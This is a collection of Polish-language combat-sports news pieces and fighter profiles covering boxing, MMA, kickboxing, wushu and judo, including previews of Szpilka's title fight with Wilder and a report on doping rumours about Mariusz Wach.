Cytując klasyka „masz być jak bulterier”, odpowiedź w tym przypadku wydaje się prosta. Joshua jest jak wściekły, rozpędzony byk, który pokonuje kolejne przeszkody, a jego twarz wyraża niezwykły spokój i opanowanie. Killer o twarzy młodzieńca spełnia wszystkie kryteria, aby być wspaniałym zięciem. A czy może myśleć o panowaniu w wadze królewskiej?

Stary lisy boją się

W brytyjskim boksie narodziło się zjawisko, które można określić kulturą gadania. Dużo mówił Haye, Chisora również barwnie opisywał rzeczywistość, Fury wręcz tworzył peany na swoją cześć. Na dobre wyszło to tylko temu ostatniemu.

Haye i Chisora są gdzieś z boku, ale nadal próbują wrócić na salony. Obecnie wcielają się w bacznych obserwatorów i komentatorów kariery Joshuy. Haye po wygranej młodszego kolegi w walce z Whytem wyraził swoje zdanie na temat możliwości 26-latka. – Czuję, że moje atuty techniczne i szybkościowe pozwolą pokonać Joshuę. Co prawda jest młodszy, silniejszy i wyższy, dlatego obserwatorzy typują go jako faworyta – powiedział Hayemaker.

Pojawiły się głosy, że Joshua miałby walczyć z Chisorą, jednak ten zaprzecza i mówi o swoich najbliższych planach. – Joshua niech zajmie się tym, co robi. Moim celem jest walka w Niemczech – skwitował krótko 31-latek urodzony w Zimbabwe.

Niewykluczone, że kolejnym rywalem Joshuy będzie Robert Helenius. Team brytyjskiego pięściarza wyraża gotowość walki o pas mistrza Europy. Helenius w sobotę, 19 grudnia, zmierzy się w obronie tytułu z Franzem Rillem.

KM

Diaz Jr, Rene Alvarado i chiński olbrzym na gali w Kalifornii

18 grudnia na ring w kalifornijskim Indio powróci niepokonany w osiemnastu pojedynkach Joseph Diaz Jr. (18-0, 10 KO). 22-latek w starciu o mistrzostwo Ameryki Północnej w kategorii piórkowej zmierzy się z przedstawicielem Mexico City Hugo ;Olimpico; Partida (20-6-2, 15 KO). Dla ;Jo Jo; Diaza będzie to już piąty występ w popularnym Fantasy Springs Casino oraz piąty pojedynek stoczony w ogóle w tym roku. Po raz pierwszy jednak stawką walki będzie tytuł mistrza Ameryki Północnej w limicie 126 funtów. Przeciwnikiem Diaza będzie 27-letni Meksykanin Hugo Partida, który w ostatnich 6 pojedynkach może pochwalić się bilansem 4-2, z czego porażek doznał w dwóch ostatnich pojedynkach.
Na tej samej gali zobaczymy 10-rundowy pojedynek między Nikaraguańczykiem Rene Alvarado (22-5, 15 KO) i pochodzącym z Kalifornii Andrew Cancio (15-3-2, 11 KO). Starcie odbędzie się w kategorii piórkowej. Ciekawostką będzie z pewnością występ olbrzyma z Chin reprezentanta wagi ciężkiej Taishana (5-0, 3 KO), który postara się ;roznieść w pył; Daniela Arambule (3-1, 1 KO) z Meksyku.

Na transmisję gali z Indio zapraszamy w nocy z piątku na sobotę na godzinę 04:00, powtórka w sobotę o 11:30!

Świąteczna impreza Kickboxing Talents!

W FightKlubie zafundujemy naszym widzom ;mocnego kopa; przed Świętami Bożego Narodzenia. W sobotę – 19 grudnia o godzinie 18:30 zapraszamy na transmisję wyjątkowej, świątecznej odsłony imprezy Kickboxing Talents.  

Kick-boxing to jeden z najbardziej dynamicznych sportów walki, który nadal kryje w sobie niesamowite talenty, żądne dostarczyć widzom jak najbardziej spektakularnego widowiska na ringu. To właśnie oferuje seria gal ;Kickboxing Talents; produkowana przez Fighting Spirit. Zobaczymy pojedynki, w których utalentowani, młodzi i gniewni zawodnicy będą chcieli wywalczyć sobie miejsce wśród najlepszych.

Marcin Naruszczka

Polski zawodnik MMA wagi średniej urodzony 6 kwietnia 1983 roku w Wyszkowie.  Naruszczka zaczął trenować amatorsko MMA w 2005 roku i przez ponad trzy lata był związany z olsztyńskim klubem Arrachnion MMA. W 2009 roku przeprowadził się do Warszawy i rozpoczął treningi w klubie założonym przez Mirosława Oknińskiego. W latach 2009-2011 święcił największe tryumfy w amatorskim MMA m.in. wygrał trzykrotnie turniej ALMMA, zwyciężył na mistrzostwach Polski w Toruniu oraz zaczął pierwsze miejsce na IX edycji Polskiej Ligi Shooto. Zawodowy debiut w MMA zaliczył w 2010 roku pokonując na punkty Błażeja Nagórskiego. Niepokonany od swojego debiutu na zawodowym ringu Naruszczka w 2011 roku związał się z niemiecką federacją RESPECT FC. W swojej pierwszej walce w Niemczech stoczył pojedynek o pas mistrzowski w wadze półciężkiej z Manuelem Masuchem, który ostatecznie wygrał w czwartej rundzie przez poddanie. Pas mistrzowski bronił na gali RESPECT FC 7, pokonał przez techniczny nokaut mającego ponad trzydzieści zawodowych walk Mario Stapela. Od 2012 roku jest zawodnikiem KSW. Zadebiutował w niej na gali XIX przeciwko Borysowi Mańkowskiemu w kategorii do 77 kg. Naruszczka przegrał z Mańkowskim na punkty. Była to jego pierwsza zawodowa porażka. 22 września 2012 roku na RESPECT FC 8 pokonał Abu Azaitara. Wygrana nad Azaitarem była eliminatorem do walki o pas mistrzowski wagi średniej. Kolejny pojedynek w KSW stoczył 16 marca 2013 roku na KSW 22. Zmierzył się w tedy z byłym mistrzem M-1 Global Rafałem Moksem. Ostatecznie Naruszczka uległ Moksowi przez poddanie w pierwszej rundzie. Do walki o pas niemieckiej organizacji doszło 13 kwietnia. Rywalem polaka był ówcześnie niepokonany zawodnik gospodarzy Nicolas Panzer. Naruszczka zwyciężył przez TKO w drugiej rundzie i został nowym mistrzem w wadze średniej oraz pierwszym któremu udało się zdobyć pas mistrzowski w dwóch kategoriach wagowych w RESPECT FC.  24 maja 2014 roku stracił pas RESPECT FC w wadze średniej na rzecz Panzera.  23 października 2015 roku pokonał Greka Nikosa Sokolisa zostając mistrzem PLMMA w wadze średniej. 

Dudek w Antwerpii, Kowalski w Kiszyniowie

Ludzie przemieszczają się nieustannie. Jedni wyjeżdżają na wakacje, aby odpocząć, a dla innych podróż to codzienność. Do tej drugiej kategorii zaliczają się fighterzy. Rafał Dudek w ubiegłym tygodniu walczył w Ząbkach, a teraz wybiera się do Belgii. 

Polak zaprezentuje się na gali Enfusion #35. Kolejnych dwóch naszych zawodników wystąpi w Kiszyniowie podczas King of Kings.

Lekki twardziel

Rafał Dudek uchodzi za czołowego polskiego kickboksera w wadze lekkiej. Poczynania zawodnika Fight House Nowy Sącz zyskują duże uznanie w oczach ekspertów. Dudek występuje również na galach zagranicznych organizacji i rywalizuje tam z powodzeniem. Niedawno znalazł swoje miejsce w kraju i związał się z DSF Kickboxing Team.

Dudek wystąpił 12 grudnia podczas kolejnej odsłony zmagań DSF. W Ząbkach polski fighter zmierzył się z Andrejem Xaminokiem i był to występ udany. Dudek w oczach sędziów był zawodnikiem lepszym, dlatego też jego wskazano jako zwycięzcę. Wcześniej zawodnik z Nowego Sącza zaprezentował się na gali SK w Rumunii. Ściany pomagają gospodarzom. W sportach walki ta prawidłowość znajduje potwierdzenie. Jeśli nie znokautujesz rywala na jego terenie to musisz liczyć się z porażką. Co prawda Dudek prowadził wyrównany bój z Mileą, a w końcówce przeważał, i tak przegrał. 

Mający za sobą występy w Glory World Series zawodnik wybiera się teraz do Belgii. 19 grudnia podczas gali Enfusion #35 zmierzy się z Youssefem El Hajim. Marokańczyk potrafi walczyć efektownie i skutecznie. Pokazał to podczas występu na Enfusion #32, kiedy to jego ofiarą przez nokaut padł Quincy Jones. Dudek musi mieć się na baczności, jednak El Haji może mieć pewne ograniczenia motoryczne. Marokańczyk wraca do rywalizacji po półrocznej przerwie. Dudek jest w gazie i może wykorzystać ten atut, jednak musi zachować zimą krew.

Kowalski na koniec

Organizacja King of Kings kończy rok w Kiszyniowie. 19 grudnia na gali w Mołdawii zaprezentuje się dwóch Polaków – Tomasz Kowalski i Jacek Olkuski.

Zawodnik warszawskiej Palestry zaprezentuje się w pojedynku w kategorii 85kg. Kowalski pojedzie do Kiszyniowa pełen wiary i nadziei po dobrym występie w Czechach. Z występu u naszych południowych sąsiadów fighter ma dobre wspomnienia. Pod koniec listopada wygrał turniej Souboj Titanu. W Kiszyniowie jego rywalem będzie Alexandr Surkov. Czy będzie to wielki powrót? Rosjanin zaprezentuje się po raz pierwszy od dwóch lat. Kowalski zapewne zadania mu nie ułatwi. 

W kategorii lekkiej Jacek Olkuski zmierzy się z Aleksandrem Prepelitą. Mołdawinin podczas ostatniego występu w Kiszyniowie rozpracował Dawida Mirkowskiego. Czy Olkuski pomści klubowego kolegę z Garuda Muay Thai Gym?

KM

Kaoklai Kaennorsing

Tajski zawodnik Muay Thai, kickboxer i bokser urodzony 13 września 1983 roku w Khon Kaen. W swojej karierze zdobył tytuły mistrza Stadionu Rajadamnern w wadze półśredniej i superpółśredniej. 14 marca 2010 roku w El Monte znokautował ciosem łokciem Japończyka Magnum Sakai w walce o mistrzostwo Świata WBC Muai Thai w wadze pół ciężkiej. Tytuł ten stracił 23 lutego 2011 roku, przegrywając w Czelabińsku na punkty z Rosjaninem Artiomem Lewinem. Kaennorsing był jednym z nielicznych zawodników z Tajlandii walczących w K-1 WGP. Zasłynął z pokonywania znacznie wyższych i cięższych od siebie rywali. Zwyciężył w turnieju K-1 World Grand Prix 2004 w Seulu. Ważył wtedy 78 kg, co czyni go najlżejszym zawodnikiem, który wygrał turniej cyklu K-1 WGP. Był też półfinalistą K-1 World GP 2004 w Tokio. W 2005 roku bronił w Seulu tytułu zdobytego w poprzednim roku. W finale turnieju zmierzył się z olbrzymim Choi Hong Manem. Największa w histori K-1 dysproporcja rozmiarów obu zawodników zdecydowała o zwycięstwie Choia, aczkolwiek walka była zaskakująco wyrównana.  W K-1 stoczył 16 walk. W swojej sportowej karierze wygrał w sumie ponad 200 walk.   

Wypełniają kartę

Czas biegnie nieubłaganie. Włodarze organizacji Fight Exclusive Night przedstawiają kolejne pojedynki gali zaplanowanej na 9 stycznia w Lubinie. Zaprezentują się m.in. Paweł Biszczak i Marcin Zontek.

Najważniejsze wydarzenie jest znane. W pojedynku wieczoru Paweł Biszczak zmierzy się z Christianem Bayą. Kto jeszcze zaprezentuje się w Lubinie?

Smaczny kąsek

FEN oferuje na swoich galach połączenie walk w K-1 i w MMA. Organizacja stale poszerza swoją ofertę i stara się zaprezentować publiczności wrażenia najwyższych lotów. Mocne nazwiska, ciekawe walki oraz niezapomniane emocje. W Lubinie organizacja FEN będzie świętowała swój mały jubileusz – to jej dziesiąta gala.

W walce wieczoru na zasadach K-1 w kategorii do 75kg zaprezentują się Paweł Biszczak i Christian Baya. Polak jest jedną z gwiazd organizacji FEN, dla której stoczył trzy pojedynki. Wszystkie wygrał w efektowny sposób i ma apetyt na kolejne zwycięstwo. Biszczak to utytułowany zawodnik na polu karate kyokushin i kickboxingu. W Lubinie zmierzy się z młodym, ale niezwykle mocnym Holendrem. Baya ma 24 lata i eksperci z kraju tulipanów wróżą mu świetlaną przyszłość. Holender trenuje w najlepszym klubie Mike’s Gym, gdzie stale doskonali swoje umiejętności. Baya dwukrotnie wygrywał prestiżowe turnieje King of Kings, a w swojej karierze rywalizował również z Polakami. 24-latek uporał się z Robertem Rajewskim i Karolem Ładą. Czy Biszczak go powstrzyma?

W tej samej kategorii dojdzie do walki Łukasza Rambalskiego i Wojciecha Wierzbickiego. Starcie zapowiada się niezwykle ciekawie. Można powiedzieć, że 32-letni Rambalski to jeden z ciekawszych polskich fighterów. Jako pierwszy Polak rywalizował na galach It's Showtime. Od 2005 roku trenuje również młodych adeptów kickboxingu. W kwietniu na gali FEN Rambalski poległ w starciu z Baitarem Zakarią. Wierzbicki jest pięć lat młodszy od swojego rywala i może pochwalić się tytułem zawodowego mistrza Europy WAKO-PRO low kick, po który sięgnął w 2014 roku. Na gali FEN 6 Polak pokonał Janu Cruza.

W Lubinie dojdzie również do spotkania pań. Monika Porażyńska zmierzy się z Patrycją Krawczyk w pojedynku K-1 54kg. 30-latka z Gdańska na gali FEN zaprezentuje się po raz drugi. W 2014 roku w Sopocie poległa w pojedynku z Martą Chojnoską. Drugi pojedynek dla organizacji FEN stoczy również Patrycja Krawczyk. 22-letnia fighterka w styczniu w Lubinie okazała się lepsza od Alexandry Jursovej.

Nie zabraknie MMA

Do tej pory organizatorzy ujawnili tylko jeden pojedynek, który odbędzie się w formule MMA. Doświadczony Marcin Zontek w kategorii półciężkiej zmierzy się z Hracho Darpinyanem. Polak stoczył dla FEN trzy pojedynki i wszystkie wygrał. Zontek czeka na kolejne wyzwanie. Ormianin już nie raz rywalizował z polskimi fighterami. Trzy razy przegrał, cztery razy wygrał. Czy Zontek także rozłoży Darpinyana na łopatki?

Cały czas na poznanie swoich rywali czekają Adam Golonkiewicz, Paweł Hadaś i Paweł Kordylewicz. 

Fot. fen-mma.com

KM

Conor nie taki szybki

Opadają emocje po walce Conor McGregor-Jose Aldo. Cały świat już wie, że w UFC w wadze piórkowej nastąpią nowe porządki. McGregor to charyzma i nieprzewidywalność. Nikt nie spodziewał się, że 27-latek w trzynaście sekund rozprawi się z Brazylijczykiem.

Postanowiliśmy z bliska przyjrzeć się poczynaniom McGregora w oktagonie. Okazuje się, że Irlandczyk niejednokrotnie szybko kończył swoje walki, jednak do rekordu nadal mu daleko.

Jedno mrugnięcie

Drodzy Państwo, zasiadamy wygodnie przed telewizorami i oglądamy. Przed nami gala i kilka interesujących starć. Pierwsza walka – no może być, druga – ujdzie w tłoku, trzecia – nuda i tak czekamy. Czasami znudzeni, oko się przymknie i ta najważniejsza chwila może umknąć. Zwłaszcza jeśli trwa dosłownie kilka sekund. Człowiek przeciągnie się, ziewnie, mrugnie okiem, a tu już pozamiatane. Historia MMA zna takie przypadki.

W Las Vegas doszło do starcia na szczycie UFC w wadze piórkowej. Jose Aldo i Conor McGregor ruszyli na siebie, wyprowadzili ciosy, ale ucierpiała szczęka Brazylijczyka. 29-latek nie był już zdolny do walki. Pojedynek trwał zaledwie trzynaście sekund. Kończy się pewna epoka, zaczyna się czas zmian.

Jak to wszystko rozumieć? Walka walką, ale chodzi o swego rodzaju przełom i diametralną zmianę kierunkową w wadze piórkowej. Ba, w całej UFC. Po klęsce Rondy Rousey w walce z Holly Holm amerykańska organizacja potrzebowała wyrazistego mistrza z prawdziwego zdarzenia. Bez wątpienia Jose Aldo jest wielki, ale czy był na tyle wyrazisty? W Las Vegas stało się chyba coś, co paradoksalnie pomoże UFC. Organizacja zyskała mistrza z osobowością, który zrobi szum oraz wzbudzi zainteresowanie. McGregor potrafi zabłysnąć, a po klęsce Rousey UFC potrzebowało takiej postaci. Kogoś, kto będzie się wyróżniał.

McGregor spełnia te kryteria i świetnie wszedł w rolę mistrza. W trzynaście sekund odebrał Aldo pas. Irlandczyk prowokuje, zaskakuje i spełnia się. W żaden sposób się nie ogranicza i potrafi mówić barwnie, wyraziście, a przede wszystkim dosadnie. Siedem lat temu zapowiadał, że zostanie mistrzem UFC. Tak się stało. Teraz będzie czekał na możliwość występu na własnej ziemi, w Dublinie.

Byli szybsi

Aldo to długodystansowiec. Wielokrotnie rywalizował na pełnym dystansie pięciu rund. Pokazał, że potrafi sprawę załatwić szybko. W 2009 roku w zaledwie osiem sekund uporał się z Cubem Swansonem. Po dziesięciu latach Brazylijczyk w końcu znalazł pogromcę.

McGregor to król nokautów. Irlandczyk w oktagonie gromi kolejnych rywali. Tylko jedna jego walka zakończyła się przez decyzję sędziów. McGregor w 2011 roku ustanowił swój rekord. Potrzebował zaledwie czterech sekund, aby rozstrzygnąć walkę na swoją korzyść. Ofiarą Irlandczyka padł Paddy Doherty.

Jednak McGregor nie jest rekordzistą. Okazuje się, że pojedynek można zakończyć zdecydowanie szybciej. Steve Ramirez podczas Pure Combat 9 w 2009 roku potrzebował trzech sekund, aby pokonać Darvina Wattree. Zaledwie 1,7 sekundy trwała walka Mike Garret vs Sam Heron. Kopnięcie na głowę załatwiło sprawę. Garret zwyciężył w niezwykle efektowny sposób.

KM

Stracona szansa Masternaka

Tak należy określić porażkę Mateusza Masternaka. Popularny „Master” miał szansę odzyskać tytuł mistrza Europy kategorii junior ciężkiej, jednak na punkty przegrał z Tonym Bellewem. Pytanie, co dalej?

Masternak był i chyba nadal jest nadzieją polskiego boksu. Z tym, że ostatnie doświadczenia sprawiają, że jego pozycja w światowej hierarchii znacznie osłabła. Jeszcze niedawno wydawało się, że Polak będzie mógł rywalizować o pas mistrza świata WBA z Denisem Lebedevem.

Koszmarny rok

Tragedia Masternaka rozpoczęła się od przegranej walki z Yourim Kalengą. W czerwcu 2014 roku w Monte Carlo polski pięściarz miał odnieść kolejne zwycięstwo. Wydawało się, że wejdzie do ringu, zrobi swoje i pewnie będzie zmierzał ku mistrzowskiej walce. Niestety, kubeł zimnej wody na rozgrzane wody. Tak było. Nie ma się, co oszukiwać. Kalenga wypunktował Masternaka i wygrał na punkty. Później to on, po wielu perturbacjach, zawiłościach prawnych i oskarżeniach względem Łukasza Janika, rywalizował z Lebedevem o pas, jednak bezskutecznie.

Wracając do „Mastera”. 28-latek miał pracowity 2014 rok. Po porażce z Kalengą stoczył jeszcze dwie walki. Chciał pokazać, że był to wypadek przy pracy i dążył do odbudowania swojej poizycji. „Master” udowodnił swoje bokserskie umiejętności, jednak pojawiały się wątpliwości, czy jest w stanie walczyć pod presją. Dostał możliwość rywalizowania z rywalem z „nazwiskiem”. Czasy Jeana Marca Mormecka dawno minęły, jednak mierzyć się z gościem, który chciał odebrać Władimirowi Kliczko tron to też jest coś. Rywalizować udanie. Wiekowy Mormeck nie miał za wiele do powiedzenia.

Rok 2015 udanie rozpoczął się dla polskiego pięściarza kategorii junior ciężkiej. Już w drugiej rundzie pokonał Rubena Angela Mino, jednak nie był to rywal zbyt wymagający. Kolejna walka i niespodzianka. Masternak pojechał do Republiki Południowej Afryki, aby zmierzyć się z Johnnym Mullerem. Werdykt sędziowski był zaskakujący. Muller wygrał, ale obie strony zapowiadały rewanż. Masternak nie próżnował i wypunktował Carlosa Nascimento. Na jesieni pojawiła się informacja, że Polak będzie walczył o pas mistrza Europy.

Angielska pogoda

Tony Bellew zastopował zapędy polskiego boksera. „Master” od początku starcia był aktywny, jednak jego ciosy były niecelne. Dopiero w szóstej rundzie jego starania dały efekt. Postraszył rywala, ale ten już w kolejnej odsłonie pokazał, że nie ma zamiaru się bać.

Walka wyrównana, zwycięstwo ważyło się praktycznie do samego końca. W dziesiątej rundzie Masternak przeważał, jednak Anglik soczyście przyłożył i naszego pięściarza zamroczyło. Mimo to dotrwał do końca. Ostatnie minuty na korzyść Bellewa. Jeszcze w jedenastej rundzie „Master” starał się, ale dwunasta odsłona to popis Anglika. Sędziowie punktowali 115-113, 115-112, 115-112 na korzyść Bellewa.

Czwarta porażka Masternaka w karierze i trzecia w przeciągu roku. Nadzieja polskiego boksu nie uniosła ciężaru rywalizacji o pas. Czy ta porażka zatrzaśnie Masternakowi drzwi na szczyt?

KM

Chińska sztuka na polskiej ziemi

Kraków wybrano na miejsce spotkania najlepszych zawodników wushu Europy w stylach południowych. Zmagania można śledzić na antenie telewizji FighTime.

Do rywalizacji stają zawodnicy, którzy doskonalą swoje umiejętności w szkołach i klubach. Bo uczniem jest się całe życie. Wushu najlepiej o tym przekonuje.

Dla starego i młodego

W życiu można robić wiele rzeczy. Usiąść i siedzieć z założonymi rękoma czekając na cud. Można. Wyjść rano do pracy, wrócić, zjeść obiad. Można. Grać w piłkę. Można. Biegać, jeździć na rowerze, śpiewać, tańczyć, krzyczeć, naprawiać samochody, budować domy, wychowywać dzieci, gotować, sprzątać. Można. Z pewnością każdy ma zakres zadań, który każdego dnia wykonuje.

Takim zbiorem zadań jest wushu. Bogactwo form jest najlepszą definicją tej sztuki walki. Tu napięcie wzrasta z minuty na minutę, to widowisko spodoba się laikowi, który po raz pierwszy będzie miał możliwość oglądania zmagań. Wushu jest swego rodzaju pokazem, który zachwyca ilością akrobacji. W powszechnym odbiorze wushu można traktować jako zestaw ćwiczeń. Bo w zasadzie tak jest. Owa sztuka ma nauczyć właściwego użycia ruchu ciała. Z kolei w walkach wushu nie brakuje kopnięć, podcięć, dźwigni, pojawia się również broń biała.

Wushu łączy pokolenia, czego najlepszym dowodem są mistrzostwa Europy w Krakowie. Organizatorzy dopuścili do rywalizacji sześć kategorii wiekowych. Na arenie spotkają się dorośli (18-41 lat), starsi (do 65 roku życia), juniorzy, kadeci oraz dzieci. W ten sposób widzimy, że wushu jest dobrym pomysłem na aktywizację ruchową osób starszych. To nie jest zwykła walka. Wushu daje możliwość doskonalenia siebie i odkrywania własnych możliwości.

Warto zasiąść do oglądania mistrzostw Europy w Krakowie, aby się o tym przekonać. Kamery FighTime umożliwiają Państwu przyjrzenie się z bliska wushu. Dajemy Wam możliwość poznania tej chińskiej sztuki walki oraz odkrycia jej tajników. W tym zbiorze można odnaleźć wszystko. To widowisko, w którym każdy wychwyci coś dla siebie. Ci, którzy poszukują mocnych wrażeń, a także Ci wrażliwi na sztukę. Warto nadmienić, że chińskie sztuki walki w latach XX wieku w Chińskiej Republice Ludowej poddane były represjom. Z czasem stan ten uległ zmianie, jednak nadal nie uwzględniano aspektu bojowego. W latach 80. udało się to zmienić. Postawiono na sport. Rozpoczęto nawet badania nad aspektem teoretycznym wushu i poszukiwano mistrzów, którzy byliby w stanie przedstawić tajniki poszczególnych technik.

Moc w różnorodności

W Krakowie nie zabraknie efektownych pokazów. Zawodnicy zaprezentują się w tradycyjnych formach gołych rąk, wystąpią z bronią w wersji pojedynczej i podwójnej. W pokazach zawodnicy używają szabli oraz noży. Zgodnie z zasadami Choy Lee występ powinien trwać nie krócej niż 35 sekund i nie dłużej niż minutę. Nie zabraknie również występów grupowych.

Mistrzostwa Europy wushu w stylach południowych w Krakowie są również okazją do promowania przyjaźni i jedności. Bo wushu niesie ze sobą określony zestaw zasad, którego celem jest osiągnięcie wewnętrznej spójności.

Warto nadmienić, że w październiku w Krakowie odbył się Puchar Polski wushu. W zawodach wystąpiło dwustu zawodników, co pokazuje, że nad Wisłą coraz więcej ludzi decyduje się na treningi. Nadal dla wielu wushu kojarzy się bardziej z rozrywkową niż ze sportem.

Co Wy sądzicie o wushu? Chcecie poznać je z bliska? Zapraszamy do oglądania transmisji z mistrzostw Europy w Krakowie na antenie FighTime! Zobaczycie, przekonacie się, ocenicie. W Polsce powstaje coraz więcej szkół wushu. Może i Wy spróbujecie swoich sił? Zapraszamy do oglądania!

KM

Francuski władca tatami

Startujący w kategorii powyżej 100kg w zawodach judo są szczęśliwi, kiedy nie widzą nazwiska Francuza na listach startowych. Teddy Riner od ponad pięciu lat nie przegrał walki.

Dominator, wielki mistrz, talent czystej wody, twardziel, judoka doskonały. Wszystkie określenia pasują do Rinera. Już dawno kontynent europejski nie miał tak wyrazistej postaci w judo.

Chłopak ze złota

Przed wejściem na tatami Riner ma skupioną twarz. Staje na wprost przeciwnika, spokojny i pewny swoich umiejętności. Analizuje, szuka rozwiązania, które najszybciej pomoże mu odnieść zwycięstwo. Rusza do boju, z gracją, elegancją i skutecznością. Nie pozostawia złudzeń. Po prostu jest najlepszy. Koniec walki. Uśmiech od ucha do ucha i po raz kolejny zawodnik musi się wspinać na pierwsze miejsce na podium. To może się znudzić. Monotonia. Teddy Riner nie sprawia wrażenia znudzonego wygrywaniem. Francuz jest jeszcze młody i może bić kolejne rekordy w judo.

Jego dominacja w kategorii +100kg nie podlega żadnej dyskusji. Riner nie przegrał walki od września 2010 roku. W tym czasie stoczył ponad sto pojedynków i nie znalazł pogromcy. Wszyscy judocy są załamani i mają swoją chwilę chwały wtedy, gdy Francuz decyduje się odpocząć od rywalizacji. Zawiedzeni mogli być kibice w Paryżu. W październiku w stolicy Francji odbyły się zawody z cyklu Grand Slam, jednak zabrakło w nich Rinera. Nadarzającą się okazję wykorzystał Hisayoshi Harasawa, który triumfował również w grudniowym turnieju w Tokio.

Absolutnym rekordzistą pod względem kolejnych zwycięstw jest Yasuhiro Yamashita. Japończyk wygrał 203 walki z rzędu. Wyczynu tego dokonał w latach 1977-1985. Na osiągnięcie takiego wyniku potrzebował ośmiu lat. Riner nie przegrał od września 2010 roku. Ma jeszcze trzy lata, aby pobić rezultat Yamashity.

Wszystko jest jego

„Nie zatrzyma nikt mnie” – zdaje się mówić Teddy Riner przed każdym startem. Ryu Shichinohe może tylko pokręcić głową. Dwa razy z rzędu przegrał batalię o złoty medal mistrzostw świata z francuskim judoką. W 2013 i 2014 roku Riner triumfował.

Nie inaczej było w sierpniu w Astanie. Riner po raz ósmy w karierze sięgnął po tytuł mistrza świata. W decydującym boju spotkał się z Koreańczykiem Kim Sung Minem, który zanotował aż cztery kary shido i został zdyskwalifikowany. W Rotterdamie Riner  rozpoczął swoją dominację na świecie w kategorii +100kg. Wygrywał mistrzostwa w sześciu kolejnych latach. Złoto zdobył również w 2008 roku w Paryżu w kategorii open, w 2010 w Tokio wywalczył srebro.

Riner będzie również faworytem do triumfu na Igrzyskach Olimpijskich w Rio de Janeiro. W 2012 roku po raz pierwszy zdobył złoto olimpijskie. Czy pójdzie drogą Tadahiro Nomury, który w kategorii 60kg wygrywał trzy kolejne starty na igrzyskach? Riner jest jeszcze młody i może poprawić ten wynik. Jeśli będzie czuł się na siłach może wystartować na czterech imprezach olimpijskich. Tylko pojawia się pytanie, czy ktoś wcześniej nie zatrzyma jego triumfalnego pochodu.

Fot. lemonde.fr

KM

Dopingowe problemy Wacha?

Czy Mariusz Wach po raz kolejny został złapany na stosowaniu dopingu? W świecie polskiego boksu pojawiła się szokująca informacja, która może być początkiem końca kariery polskiego boksera wagi ciężkiej.

Nad głową Wacha zbierają się czarne chmury, jednak na razie trzeba zachować spokój i poczekać na oficjalne potwierdzenie. Jedno jest pewne – takie informacje nie napawają optymizmem i budzą niepokój.

Przyćmiona radość

Kilkanaście godzin temu świat polskiego boksu był w euforii. Jak grom z jasnego nieba spadła na nas wiadomość, że Artur Szpilka będzie walczył o pas mistrza świata WBC kategorii królewskiej. 16 stycznia w Nowym Jorku „Szpila” zmierzy się z Deontayem Wilderem. Będzie szóstym polskim bokserem, który przeprowadzi atak na tytuł w wadze ciężkiej. Wszyscy zacierają ręce i z niecierpliwością czekają na ten pojedynek, jednak radość i oczekiwanie szybko zostały przyćmione przez inne doniesienia.

Głównym aktorem zamieszania jest Mariusz Wach. Pojawiły się informacje jakoby „Wiking” po raz kolejny został przyłapany na stosowaniu dopingu. Jako pierwszy sprawę ujawnił Rafał Musioł z „Dziennika Zachodniego”. Na swoim koncie na Twitterze zamieścił następujący wpis: „Jeszcze nieoficjalne, ale pewne: Rosjanie wstrzymali wypłatę dla Mariusza Wacha za walkę z Powietkinem. Powód?Taki jak z Kliczką”.

Sprawa dotyczy pojedynku Wacha z Aleksandrem Powietkinem. Przypomnijmy. Polak zmierzył się z Rosjaninem 4 listopada na ringu w Kazaniu. Wach przegrał przez techniczny nokaut w dwunastej rundzie. Po pojedynku pojawiły się problemy z wypłatą gaży. Minął miesiąc od walki i ujawniono informację, że głównym powodem jest stosowanie przez Polaka niedozwolonych środków.

Sprawa musi być jak najszybciej wyjaśniona. Chodzi przecież o pojedynek na szczycie wagi ciężkiej, w której zaprezentował się jeden z czołowych polskich pięściarzy. Wszyscy czekają na oficjalne stanowisko ze strony Wacha i jego teamu. 

Co dalej?

Mnożą się pytania dotyczące przyszłości Wacha. Wiadomo, że kwestia zostanie wyjaśniona, jednak w przypadku czarnego scenariusza Polak może pożegnać się z ringiem. Dlaczego? Byłaby to swoista recydywa.

Wach już raz został przyłapany na dopingu. W listopadzie 2011 roku przegrał z Władimirem Kliczko walkę o mistrzostwo świata, a po starciu okazało się, że w jego organizmie znajdują się niedozwolone środki. Polaka spotkała kara. Został zdyskwalifikowany na osiem miesięcy. Na ring wrócił w październiku 2014 roku i od tego czasu stoczył pięć walk. Cztery wygrał. 

KM

Życiowa szansa Szpilki

Artur Szpilka ma szansę podbić Amerykę, a zarazem cały świat. Popularny „Szpila” stanie do walki o mistrzowski pas WBC w wadze ciężkiej. Pojedynek odbędzie się już 16 stycznia.

Rywalem polskiego boksera będzie Deontay Wilder. Amerykanin jest królem nokautów. Do tej pory stoczył trzydzieści pięć pojedynków i tylko w jednym przypadku o wyniku musieli decydować sędziowie.

Polski sen po amerykańsku

Po raz kolejny w serca kibiców w Polsce zabiją szybciej. 16 stycznia wielu zasiądzie przed telewizorami, niektórzy udadzą się do Nowego Jorku, aby z bliska śledzić mistrzowską walkę. Szpilka będzie szóstym Polakiem, który dostąpi zaszczytu rywalizacji o mistrzostwo świata w kategorii królewskiej. Wcześniej swoich sił próbowali Andrzej Gołota, Albert Sosnowski, Tomasz Adamek, Mariusz Wach i Andrzej Wawrzyk, jednak nie potrafili znaleźć recepty na swoich rywali. 

Informacja o tym, że to Szpilka będzie rywalem Wildera spadła jak grom z jasnego nieba. Najbliższy pojedynek „Szpila” miał stoczyć z Amirem Mansuorem. Pierwotnie walka miała odbyć się w grudniu, jednak została przesunięta na przyszły rok. Polak cały czas trenował i przygotowywał się do najbliższego starcia. Na horyzoncie pojawiła się możliwość walki o pas. Szpilka postanowił podjąć rękawicę.

To prawdziwe wyzwanie dla polskiego boksera, który stanie przed życiową szansą. Dla Szpilki będzie to pierwsza walka o pas mistrza świata. Do tej pory poniósł tylko jedną porażkę. W styczniu 2014 roku lepszy od „Szpili” okazał się Bryant Jennings. Od tego czasu Polak stoczył cztery pojedynki, w których pokazał bogaty repertuar. Po drodze uporał się z Tomaszem Adamkiem w pojedynku o prymat najlepszego ciężkiego w kraju i rozpoczął treningi z nowym trenerem. Pod okiem Ronniego Shieldsa stoczył trzy walki i wszystkie zakończył przed czasem. Warto wspomnieć, że Szpilka posiada mocny i precyzyjny cios. To pięściarz, który się nie patyczkuje, choć w porównaniu z początkiem kariery dojrzał i w ringu jest to widoczne. 

Szpilka uratował Wildera

Nie ulega wątpliwości, że Deontay Wilder znalazł się w tarapatach. Mistrz świata WBC był poirytowany faktem, że nie może znaleźć rywala. W końcu jego kłopoty rozwiązał Szpilka.

